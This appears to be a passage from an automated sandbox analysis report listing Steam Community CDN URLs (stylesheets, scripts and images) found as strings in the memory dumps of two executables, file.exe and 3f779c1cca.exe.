0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=ep
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/jav
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIg
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4NX
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascriptx
Source: 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javw
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/sR
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shaH
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
